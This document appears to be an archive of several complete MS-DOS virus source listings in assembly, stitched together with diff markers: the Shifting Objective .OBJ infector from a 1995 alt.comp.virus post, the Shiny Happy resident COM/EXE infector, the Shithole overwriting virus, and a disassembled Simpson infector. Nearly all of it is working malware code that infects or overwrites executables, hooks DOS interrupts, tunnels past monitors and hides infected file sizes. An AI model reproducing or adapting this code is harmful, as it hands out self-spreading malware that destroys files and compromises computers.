int 16h ; Keyboard i/o call ^^
int 20h ; Terminate process
kbstr: db 'Killed by: ' ;Killed by
fname: db '1st run copy',0 ;13 spaces for filename
ekbstr: db '$' ;Terminator for string
eof:
;These variables are for temporary use only and are therefore excluded from
;encryption and writing to the disk (this saves time and space).
compare_buff db 20 dup (?)
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?
tfname: db 13 dup (?)
codeseg ends
end start

@@ -0,0 +1,452 @@
From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sat Jan 14 12:23:41 1995
Xref: netcom.com alt.comp.virus:1000
Newsgroups: alt.comp.virus
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife
From: halflife@tmok.res.wpi.edu (Halflife)
Subject: shifting obj
Message-ID: <halflife.21.000B93F3@tmok.res.wpi.edu>
Lines: 437
Sender: news@news.media.mit.edu (USENET News System)
Organization: MIT Media Laboratory
X-Newsreader: Trumpet for Windows [Version 1.0 Rev A]
Date: Fri, 13 Jan 1995 16:34:35 GMT
Lines: 437
;+----------------------------------------------------------------------+
;¦ Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism] ¦
;¦ ¦
;¦ Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms! ¦
;¦ ¦
;¦ This virus breaks new bounds in viral technology, best I know }-) ¦
;¦It infects .OBJ files that are set up to compile to simple, stand- ¦
;¦alone .COM's. The basic theory for this is the following: It takes ¦
;¦the pre-set compiling points of the modules in the .OBJ and moves them¦
;¦up in memory so Objective will have room to insert itself underneath. ¦
;¦When the file is compiled the virus is at the beginning of the file, ¦
;¦and the original code follows BUT - the original code's memory offsets¦
;¦are what they were BEFORE the virus infected the .OBJ. Therefore, all¦
;¦Objective has to do when it runs is go memory resident, and shift the ¦
;¦host code back down to where it starts at 100h in memory, and all is ¦
;¦well. ¦
;¦ ¦
;¦ Object files are basically a set of linked lists or fields, each ¦
;¦with a three byte header. The first byte is it's identity byte, while¦
;¦the following word is the size of the field - header. The very last ¦
;¦byte of each record is a simple checksum byte - this can be gained ¦
;¦simply by adding up all of the bytes in the field save the three byte ¦
;¦header and taking the negative (not reg/inc reg) so that the entire ¦
;¦field value + checksum = 0. Each field type has it's own identity ¦
;¦value, but we are only concerned with a few right now. ¦
;¦ ¦
;¦They are as follows: ¦
;¦ 80h - Starting field of a .OBJ file ¦
;¦ 8Ch - External definitions ¦
;¦ 8Ah - Ending field of a .OBJ file ¦
;¦ A0h - Regular Code ¦
;¦ A2h - Compressed code (patterns/reiterated stuff) ¦
;¦ ¦
;¦ In the A0h and A2h types of fields, there is one more thing that ¦
;¦concerns us - the three bytes after the field size in the header ¦
;¦are indicators of the location in memory the code will be at - the ¦
;¦second and third byte form the word we will be concerned with, which ¦
;¦is a simple offset from CS:0000 that the code will begin. Since we ¦
;¦are dealing with .COM files and want to put our virus at the beginning¦
;¦of the file, we set the position field of the virus to 100h and the ¦
;¦positions of all the other A0h and A2h fields to their old position ¦
;¦plus the virus size. When the file is compiled, the virus will be ¦
;¦at the beginning and the host will follow. Attaching the virus to ¦
;¦the .OBJ itself is simple enough - just save the 8Ah field in memory, ¦
;¦and write FROM IT'S OLD BEGINNING a header for your virus, your ¦
;¦virus, then a checksum and the old 8Ah field. At all times when ¦
;¦modifying fields, the checksums must be fixed afterwards. ¦
;¦ ¦
;¦ For the rest of the techniques that may be useful, I suggest you ¦
;¦look at the following code for my Shifting Objective Virus. I'd like ¦
;¦to thank The Nightmare for his ideas on this when we sat around bored ¦
;¦those days. Greets go out to all of Phalcon/Skism, Urnst Kouch, ¦
;¦Mark Ludwig, TridenT, NuKE, and the rest of the viral community. ¦
;¦A special hello goes to Hermanni and Frisk. ¦
;¦ ¦
;¦ - Stormbringer [P/S] ¦
;¦ --¤------------------- ¦
;¦ - ¦
;+----------------------------------------------------------------------+
.model tiny
.radix 16
.code
org 100
start:
push ds
sub ax,ax
mov ds,ax
mov ax,word ptr ds:[84]
mov word ptr cs:[Fake21IP],ax
mov ax,word ptr ds:[86]
mov word ptr cs:[Fake21CS],ax
mov ax,word ptr ds:[2f*4]
mov word ptr cs:[Fake2fIP],ax
mov ax,word ptr ds:[2f*4+2]
mov word ptr cs:[Fake2fCS],ax
pop ds
CheckIfResident:
mov ax,0feadh ;Check if we are in memory
call fake21
cmp ax,0d00dh
jne ReserveMemory ;Nope, go resident
xor ax,ax
mov ds,ax
jmp RestoreFile ;Yep, skip it
ReserveMemory:
mov ax,ds
dec ax ;Go to MCB's
mov ds,ax
sub word ptr ds:[3],80 ;Grab 2K from this MCB
sub word ptr ds:[12],80 ;And from the Top of MEM in PSP
xor ax,ax
mov ds,ax ;We're gonna take up 2k in memory.
sub word ptr ds:[413],2 ;Reserve 2k from bios
int 12h ;Get bios memory amount in K
mov cl,6
shl ax,cl
PutVirusInMemory:
push cs
pop ds
sub ax,10 ;NewSeg:0 was in AX, now Newseg:100
mov es,ax ;is start of reserved memory field....
mov di,100
mov si,100
mov cx,end_prog-start
repnz movsb ;Copy virus into memory
HookInterrupts:
xor ax,ax
mov ds,ax ;Hook Int 21h directly using
cli ;Interrupt table
mov ax,offset Int21
xchg word ptr ds:[84],ax
mov word ptr es:[IP_21],ax
mov ax,es
xchg word ptr ds:[86],ax
mov word ptr es:[CS_21],ax
sti
RestoreFile:
push cs
pop es
mov ax,0deadh ;Call interrupt handler to restore file
pushf
call dword ptr ds:[84]
mov ax,4c01 ;Terminate if restore unsuccessful
call fake21
InstallCHeck:
mov ax,0d00dh ;Tell prog we're already here
iret
Int21:
cmp ax,0feadh
je InstallCheck ;Is it an install check?
cmp ax,0deadh
je RestoreHost ;Or a restoration request?
cmp ah,3e
jz fileclose ;Fileclose - go infect it if it's an .OBJ
GoInt21:
db 0ea ;Jump back into int 21h handler
IP_21 dw 0
CS_21 dw 0
RestoreHost:
push es
pop ds
mov di,sp ;Set iret to return to beginning of code
mov [di],100
mov di,100
mov si,offset Host ;Shift host back down over virus in memory
mov cx,0f000
repnz movsb
mov si,ax
xor ax,ax
mov bx,ax ;Set registers as if just executing
mov cx,ax
mov dx,ax
mov di,ax
iret ;Iret back into the host file
fileclose:
pushf
push ax bx cx dx es ds si di bp
xor ax,ax
xor ax,1220h
call fake2f
push bx
mov bl,byte ptr es:[di] ;Good ol' SFT trick
mov ax,1216h
call fake2f
or word ptr es:[di+2],2 ;Set file Read/Write
add di,28
pop bx
cmp byte ptr es:[di+2],'J' ;Check out filename
jne Done_Close
cmp word ptr es:[di],'BO'
jne Done_Close
mov word ptr cs:[Host_Handle],bx
mov ax,5700 ;Save date/time stamp
call fake21
push cx dx
call Infect_Obj ;go infect it
pop dx cx
mov ax,5701 ;Restore date/time stamp
call fake21
Done_Close:
pop bp di si ds es dx cx bx ax ;Exit and chain into int 21h
popf
jmp GoInt21
Isanexec:
push dx
GetAndSaveCurLoc:
mov ax,4201 ;Save position of current module
xor cx,cx
xor dx,dx
call fake21
push dx ax
ModExecStartingPoint:
ReadOldStartingPoint:
mov ah,3f
mov dx,offset startingpt ;Read starting point
mov cx,3
call fake21
mov ax,word ptr [startingpt+1]
cmp byte ptr firstexec,0 ;Check if this is the first exec field
jne NotFirstExec
;If so, it should have a starting
;point of 100h for a .COM for us
;to infect it correctly
CheckifwillbeCOMfile: ;we're assuming that anything with
mov byte ptr firstexec,1 ;a starting point of cs:100h will be
;a com. while this isn't true all
;the time, we can cross our fingers..
cmp ax,100
je NotFirstExec ;File is good, continue infection.
Getouttahere:
pop ax ax ax ;won't be a .com file - don't infect.
ret
NotFirstExec: ;Either it isn't first exec or the
mov cx,end_prog-start ;check was good.. now add virus size
add ax,cx ;to exec starting point.
mov word ptr [startingpt+1],ax
GoBackToStartingPointinfo:
pop dx cx
push cx dx
mov ax,4200 ;go back to starting point field
call fake21
AndWriteIt:
mov ah,41
dec ah
mov cx,3
mov dx,offset startingpt ;and save it
call fake21
GoToChecksumField:
mov dx,fieldsize
sub dx,4
xor cx,cx ;go to checksum field
mov ax,4201
call fake21
ResetExecChecksum:
mov ah,3f
mov dx,offset Checksum ;read checksum field
mov cx,1
call fake21
mov cx,-1
mov dx,-1 ;go back to checksum field in file
mov ax,4201
call fake21
mov cx,(end_prog-start)
sub Checksum,ch ;modify checksum to account for
sub Checksum,cl ;our change to starting point field.
mov ah,41
mov dx,offset Checksum ;and write it
mov cx,1
dec ah
call fake21
DoneIsExec:
pop dx cx
mov ax,4200 ;Restore original file pointer
call fake21
pop dx
jmp NExtfield ;and continue with infection
startingpt db 0,0,0
firstexec db 0
anexec:
jmp isanexec
Bailout:
ret
Infect_Obj:
push cs cs
pop es ds
mov firstexec,0 ;Init first exec field
call go_bof ;Go to beginning of file
ModExecFields:
call ReadHeader ;read the three byte header, field size in DX
;Header type in AL
cmp al,8c ;External module
je bailout ;It has external calls, which we can't
;handle yet :(
cmp al,0a0 ;Executable module
je anexec
cmp al,0a2 ;Reiterated executable module
je anexec
cmp al,8a ;Ending module
je DoneModExecs
NextField:
mov ax,4201 ;Go to the next field
xor cx,cx
call fake21
jmp ModExecFields
DoneModExecs:
mov ax,4201
mov cx,-1
mov dx,-3 ;go to start of 8A field (end module)
call fake21
push dx ax
mov cx,fieldsize
add cx,3+10 ;the +10 is just to be safe
mov ah,3f ;load in last module
mov dx,offset buffer
call fake21
mov endfieldsize,ax ;Read in the end module
pop dx cx
mov ax,4200 ;Go back to the beginning of the module
call fake21 ;now that we have it in memory
WriteOurHeader:
mov ah,3f
mov cx,endheader-ourheader ;write the header for virus module
mov dx,offset ourheader
inc ah
call fake21
WriteVirus:
mov ah,3f
mov cx,end_prog-start ;write virus to file
mov dx,100
inc ah
call fake21
CreateChecksum:
mov si,100
mov cx,end_prog-start
xor ax,ax
AddupChecksum: ;Create checksum for virus
lodsb
add ah,al
loop AddupChecksum
not ah
inc ah
mov Checksum,ah
WriteChecksum:
mov dx,offset Checksum
mov cx,1
mov ah,3f
inc ah
call fake21 ;Then save the checksum in module
WriteEndModule:
mov dx,offset Buffer
mov cx,endfieldsize
mov ah,3f
inc ah
call fake21 ;And put the ending module back into
ret ;place.... we're done.
ReadHEader:
mov ah,3f
mov dx,offset fieldheader
mov cx,3 ;Read module header for .obj files
call fake21 ;save module type in AL and
mov al,fieldheader ;module size in DX
mov dx,fieldsize
ret
Go_Bof: ;Go to beginning of file
mov al,0
jmp short movefp
Go_Eof: ;Go to the end of the file
mov al,02
movefp: ;Or just move the File pointer
xor cx,cx
xor dx,dx
mov ah,42
call fake21
ret
fake21:
pushf
db 9a
fake21IP dw 0
fake21CS dw 0
ret
fake2f:
pushf
db 9a
fake2fIP dw 0
fake2fCS dw 0
ret
Credits:
db 'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]'
db 'Kudos go to The Nightmare!'
OurHeader:
db 0A0
dw (end_prog-start+4) ;our size in an .OBJ file
db 1
db 0 ;starting position (cs:100h)
db 1
endheader:
endfieldsize dw 0
Checksum db 0
fieldheader db 0
fieldsize dw 0
Host_Handle dw 0
end_prog:
Buffer:
Host db 90,90,90,90,90,90,90,90,0cdh,20
end start
@@ -0,0 +1,543 @@
; The Shiny Happy Virus
; By Hellraiser and Dark Angel of Phalcon/Skism
.model tiny
.code
id = '52'
timeid = 18h
shiny:
call next
next: pop bp
push ds
push es
xor di,di
mov ds,di
cmp word ptr ds:[1*4],offset int1_2 ; installation check
jz return
mov ax,es
dec ax
sub word ptr ds:[413h],(endheap-shiny+1023)/1024
mov ds,ax
sub word ptr ds:[3],((endheap-shiny+1023)/1024)*64
sub word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
mov es,word ptr ds:[12h]
push cs
pop ds
lea si,[bp+shiny-next]
mov cx,(endheap-shiny+1)/2
rep movsw
push cs
lea ax,[bp+return-next]
push ax
push es
mov ax,offset highentry
push ax
retf
return:
cmp sp,id-4
jz returnEXE
returnCOM:
pop es
pop ds
mov di,100h
push di
lea si,[bp+offset save3-next]
movsw
movsb
retn
returnEXE:
pop es
pop ds
mov ax,es
add ax,10h
add word ptr cs:[bp+origCSIP+2-next],ax
cli
add ax,word ptr cs:[bp+origSPSS-next]
mov ss,ax
mov sp,word ptr cs:[bp+origSPSS+2-next]
sti
db 0eah
origCSIP db ?
save3 db 0cdh,20h,0
origSPSS dd ?
highentry:
mov cs:in21flag,0
xor ax,ax
mov ds,ax
les ax,ds:[9*4]
mov word ptr cs:oldint9,ax
mov word ptr cs:oldint9+2,es
mov ds:[9*4],offset int9
mov ds:[9*4+2],cs
les ax,ds:[21h*4]
mov word ptr cs:oldint21,ax
mov word ptr cs:oldint21+2,es
mov word ptr ds:[1*4],offset int1
mov ds:[1*4+2],cs
mov ah, 52h
int 21h
mov ax,es:[bx-2]
mov word ptr cs:tunnel21+2, ax
mov word ptr cs:dosseg_, es
pushf
pop ax
or ah,1
push ax
popf
mov ah,0bh
pushf
db 09Ah
oldint21 dd ?
mov word ptr ds:[3*4],offset int3
mov ds:[3*4+2],cs
mov word ptr ds:[1*4],offset int1_2
les bx,cs:tunnel21
mov al,0CCh
xchg al,byte ptr es:[bx]
mov byte ptr cs:save1,al
retf
authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0
int1: push bp
mov bp,sp
push ax
mov ax, [bp+4]
cmp ax,word ptr cs:tunnel21+2
jb foundint21
db 3dh ; cmp ax, xxxx
dosseg_ dw ?
ja exitint1
foundint21:
mov word ptr cs:tunnel21+2,ax
mov ax,[bp+2]
mov word ptr cs:tunnel21,ax
and byte ptr [bp+7], 0FEh
exitint1:
pop ax
pop bp
iret
int1_2: push bp
mov bp,sp
push ax
mov ax, [bp+4]
cmp ax,word ptr cs:tunnel21+2
ja exitint1_2
mov ax, [bp+2]
cmp ax,word ptr cs:tunnel21
jbe exitint1_2
push ds
push bx
lds bx,cs:tunnel21
mov byte ptr ds:[bx],0CCh
pop bx
pop ds
and byte ptr [bp+7],0FEh
exitint1_2:
pop ax
pop bp
iret
infect_others:
mov ax,4301h
push ax
push ds
push dx
xor cx,cx
call callint21
mov ax,3d02h
call callint21
xchg ax,bx
mov ax,5700h
call callint21
push cx
push dx
mov ah,3fh
mov cx,1ah
push cs
pop ds
push cs
pop es
mov dx,offset readbuffer
call callint21
mov ax,4202h
xor cx,cx
cwd
int 21h
mov si,offset readbuffer
cmp word ptr [si],'ZM'
jnz checkCOM
checkEXE:
cmp word ptr [si+10h],id
jz goalreadyinfected
mov di, offset OrigCSIP
mov si, offset readbuffer+14h
movsw
movsw
sub si, 18h-0eh
movsw
movsw
push bx
mov bx, word ptr readbuffer + 8
mov cl, 4
shl bx, cl
push dx
push ax
sub ax, bx
sbb dx, 0
mov cx, 10h
div cx
mov word ptr readbuffer+14h, dx
mov word ptr readbuffer+16h, ax
mov word ptr readbuffer+0Eh, ax
mov word ptr readbuffer+10h, id
pop ax
pop dx
pop bx
add ax, heap-shiny
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr readbuffer+4, dx
mov word ptr readbuffer+2, ax
mov cx,1ah
jmp short finishinfection
checkCOM:
xchg cx,ax
sub cx,heap-shiny+3
cmp cx,word ptr [si+1]
goalreadyinfected:
jz alreadyinfected
add cx,heap-shiny
push si
mov di,offset save3
movsw
movsb
pop di
mov al,0e9h
stosb
mov ax,3 ; cx holds bytes to write
xchg ax,cx
stosw
finishinfection:
push cx
mov ah,40h
mov cx,heap-shiny
cwd ; xor dx,dx
call callint21
mov ax,4200h
xor cx,cx
cwd
int 21h
mov ah,40h
pop cx
mov dx,offset readbuffer
call callint21
mov ax,5701h
pop dx
pop cx
and cl,0E0h
or cl,timeid
call callint21
jmp doneinfect
alreadyinfected:
pop ax
pop ax
doneinfect:
mov ah,3eh
call callint21
pop dx
pop ds
pop ax
pop cx
call callint21
exitexecute:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp exitint21
execute:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld
mov ax,4300h
call callint21
jc exitexecute
push cx
jmp infect_others
int3:
push bp
mov bp,sp
cmp cs:in21flag,0
jnz leaveint21
inc cs:in21flag
cmp ah,11h
jz findfirstnext
cmp ah,12h
jz findfirstnext
cmp ax,4b00h
jz execute
exitint21:
dec cs:in21flag
leaveint21:
or byte ptr [bp+7],1 ; set trap flag upon return
dec word ptr [bp+2] ; decrement offset
call restoreint21
pop bp
iret
callint21:
pushf
call dword ptr cs:tunnel21
ret
restoreint21:
push ds
push ax
push bx
lds bx,cs:tunnel21
mov al,byte ptr cs:save1
mov ds:[bx],al
pop bx
pop ax
pop ds
ret
findfirstnext:
int 21h ; pre-chain interrupt
; flags [bp+12]
; segment [bp+10]
; offset [bp+8]
; flags [bp+6]
; segment [bp+4]
; offset [bp+2]
; bp [bp]
pushf ; save results
pop [bp+6+6]
pop bp
push ax
push bx
push ds
push es
inc al
jz notDOS
mov ah,51h ; Get active PSP
int 21h
mov es,bx
cmp bx,es:[16h] ; DOS calling it?
jne notDOS
mov ah,2fh ; DTA -> ES:BX
int 21h
push es
pop ds
cmp byte ptr [bx],0FFh
jnz regularFCB
add bx,7
regularFCB:
cmp word ptr [bx+9],'OC'
jz checkinf
cmp word ptr [bx+9],'XE'
jnz notDOS
checkinf:
mov al,byte ptr [bx+23]
and al,1Fh
cmp al,timeid
jnz notDOS
subtract:
sub word ptr [bx+29],heap-shiny
sbb word ptr [bx+31],0
notDOS:
pop es
pop ds
pop bx
pop ax
dec cs:in21flag
cli
add sp,6
iret
int9:
pushf ; save flags, regs, etc...
push ax
push bx
push cx
push dx
xor bx,bx
mov ah,0fh ; get video mode
int 10h
mov ah,03h ; get curs pos
int 10h
call getattrib
cmp al,')' ; happy??
jne audi5000 ; no
mov cs:eyesflag,0
beforeloveshack:
call getattrib ; see if there is a nose
loveshack:
cmp al,':' ; shiny???
je realeyes
cmp al,'=' ; check for even =)
je realeyes
cmp al,'|'
je realeyes
cmp al,';'
je realeyes
cmp cs:eyesflag,0
jnz audi5001
cmp al,'('
jz audi5001
inc cs:eyesflag
inc bl
jmp short beforeloveshack
realeyes:
stc
adc dl,bl ; add extra backspace if so
mov ah,02h
int 10h
mov ax,0a28h ; 0ah, '(' ; write frown
mov cx,1
int 10h
jmp audi5000
audi5001:
stc
adc dl,bl
audi5000:
inc dl ; set curs pos
mov ah,02h
int 10h
pop dx ; restore all stuff
pop cx
pop bx
pop ax
popf
db 0eah
oldint9 dd ?
; reads the char at the current cursorpos - 1
getattrib:
dec dl ; set curs pos
mov ah,02h
int 10h
mov ah,08h ; get char at curs
int 10h
ret
heap:
save1 db ?
tunnel21 dd ?
in21flag db ?
eyesflag db ?
readbuffer db 1ah dup (?)
endheap:
end shiny
@@ -0,0 +1,98 @@
Shithole Virus
;This virus basically overwrites anything executed with its own code. Com
;files and exe files under 64k will function to spread the virus. Exe's
;above 64k that have been overwritten will display the message "Program too big
;to fit in Memory."
;This small piece of code that seems to replicate itself to other files and
;as a result render them worthless is the exclusive property of Yosha/DC.
.model tiny
.code
.486
code_length equ offset finish - offset start
org 100h
start:
;Initially the stack contains a word-sized zero for com files. What luck!
pop es
;0500 is where we'll move the code. We'll also use that as a residency check.
;We merely check the byte at 0000:0500 to see if it is a pop es. Dual - purpose
;code is a good way to save space.
mov di,0500h
cmp byte ptr es:[di],07h ;is it a pop es?
je outtahere ;if so, we're in memory.
;Here we move our virus to 0000:0500h. You could probably get away with
;leaving out the cld, because it is usually cleared anyway. Taking it out would
;make the virus less stable and prone to crashing, though.
;0000:0500 is a hole in memory between the interrupt table and dos's load
;address. You can't go past 0000:0700 without crashing dos. You can probably
;go further back, though, and even overwrite the last parts of the interrupt
;table if you're daring.
mov si,0100h
mov cx,code_length
cld ;<--this may not be necessary, but for stability's sake...
rep movsb
;copy the old int 21 value to the end of our virus in memory. Note that after
;a rep movsb, cx is 0.
mov ds,cx
mov si,0084h
movsw
movsw
;set new int 21. I decided to use dos for this job.
mov ax,2521h
mov dx,offset int21handler+0400h
int 21h
outtahere:
push es
ret
;The handler jumps to here whenever a file tries to execute.
kill_it:
pusha ;save all registers, 286+ only
mov ax,3d01h ;open file, write access
int 21h
jc done_killing ;if error, exit
xchg ax,bx ;get handle in bx
push ds ;save old ds (pusha doesn't save segment regs)
push cs
pop ds ;ds points to the segment containing our code
mov ah,40h ;write to file
mov dx,0500h
mov cx,code_length
int 21h
;I found that not closing the file causes a crash.
mov ah,3eh ;close the file
int 21h
pop ds ;restore ds
done_killing:
popa ;restore all registers, 286+ only
jmp jump
int21handler:
cmp ah,4bh
je kill_it
jump:
db 0eah ;byte signifying a far jump.
old21:
finish:
end start
@@ -0,0 +1,381 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ SIMPSON ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 4-Dec-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 2Eh
data_10e equ 39Ah ;*
data_11e equ 39Ch ;*
data_12e equ 39Eh ;*
data_13e equ 3A0h ;*
data_14e equ 5845h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
simpson proc far
start:
push si
xor si,si ; Zero register
loc_1:
call sub_2
or ax,ax ; Zero ?
jz loc_2 ; Jump if zero
call sub_1
inc si
inc data_8
jmp short loc_3
loc_2:
mov dx,38Bh
mov ah,3Bh ; ';'
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
inc si
loc_3:
cmp si,data_6
jl loc_1 ; Jump if <
cmp byte ptr data_8,0
je loc_4 ; Jump if equal
mov ax,2BAh
push ax
call sub_5
pop cx
jmp short loc_8
loc_4:
cmp byte ptr data_7,6
jbe loc_7 ; Jump if below or =
xor si,si ; Zero register
jmp short loc_6
loc_5:
mov bx,si
shl bx,1 ; Shift w/zeros fill
push data_2[bx]
call sub_5
pop cx
inc si
loc_6:
cmp si,3
jl loc_5 ; Jump if <
jmp short loc_8
loc_7:
mov ax,2BAh
push ax
call sub_5
pop cx
loc_8:
jmp short $+2 ; delay for I/O
pop si
retn
simpson endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov dx,data_3
add dx,1Eh
xor cx,cx ; Zero register
mov al,1
mov ah,43h ; 'C'
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
mov ax,data_3
add ax,1Eh
push ax
call sub_8
pop cx
mov bx,ds:data_10e
mov cx,data_5
mov dx,data_4
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
call sub_4
call sub_9
jmp short $+2 ; delay for I/O
retn
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov ax,38Eh
push ax
call sub_6
pop cx
cmp ax,12h
je loc_12 ; Jump if equal
call sub_3
or ax,ax ; Zero ?
jz loc_9 ; Jump if zero
mov ax,1
jmp short loc_ret_17
jmp short loc_12
loc_9:
jmp short loc_11
loc_10:
call sub_3
or ax,ax ; Zero ?
jz loc_11 ; Jump if zero
mov ax,1
jmp short loc_ret_17
loc_11:
call sub_7
cmp ax,12h
jne loc_10 ; Jump if not equal
loc_12:
mov ax,394h
push ax
call sub_6
pop cx
cmp ax,12h
je loc_16 ; Jump if equal
call sub_3
or ax,ax ; Zero ?
jz loc_13 ; Jump if zero
mov ax,1
jmp short loc_ret_17
jmp short loc_16
loc_13:
jmp short loc_15
loc_14:
call sub_3
or ax,ax ; Zero ?
jz loc_15 ; Jump if zero
mov ax,1
jmp short loc_ret_17
loc_15:
call sub_7
cmp ax,12h
jne loc_14 ; Jump if not equal
loc_16:
xor ax,ax ; Zero register
jmp short loc_ret_17
loc_ret_17:
retn
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
push si
mov bx,data_3
mov ax,[bx+18h]
mov ds:data_11e,ax
mov bx,data_3
mov ax,[bx+16h]
mov ds:data_12e,ax
mov ax,data_3
add ax,1Eh
push ax
call sub_8
pop cx
mov bx,ds:data_10e
mov cx,14h
mov dx,data_13e
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
call sub_4
call sub_9
xor si,si ; Zero register
jmp short loc_20
loc_18:
mov al,ds:data_13e[si]
mov bx,data_4
cmp al,[bx+si]
je loc_19 ; Jump if equal
mov ax,1
jmp short loc_21
loc_19:
inc si
loc_20:
cmp si,14h
jl loc_18 ; Jump if <
inc data_7
xor ax,ax ; Zero register
jmp short loc_21
loc_21:
pop si
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
mov al,1
mov bx,ds:data_10e
mov cx,ds:data_12e
mov dx,ds:data_11e
mov ah,57h ; 'W'
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
jmp short $+2 ; delay for I/O
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
push bp
mov bp,sp
push si
mov si,[bp+4]
jmp short loc_24
loc_23:
sub byte ptr [si],0Ah
inc si
loc_24:
cmp byte ptr [si],0
jne loc_23 ; Jump if not equal
mov dx,[bp+4]
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
jmp short $+2 ; delay for I/O
pop si
pop bp
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push bp
mov bp,sp
mov dx,[bp+4]
mov cx,0FFh
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jmp short $+2 ; delay for I/O
pop bp
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jmp short $+2 ; delay for I/O
retn
sub_7 endp
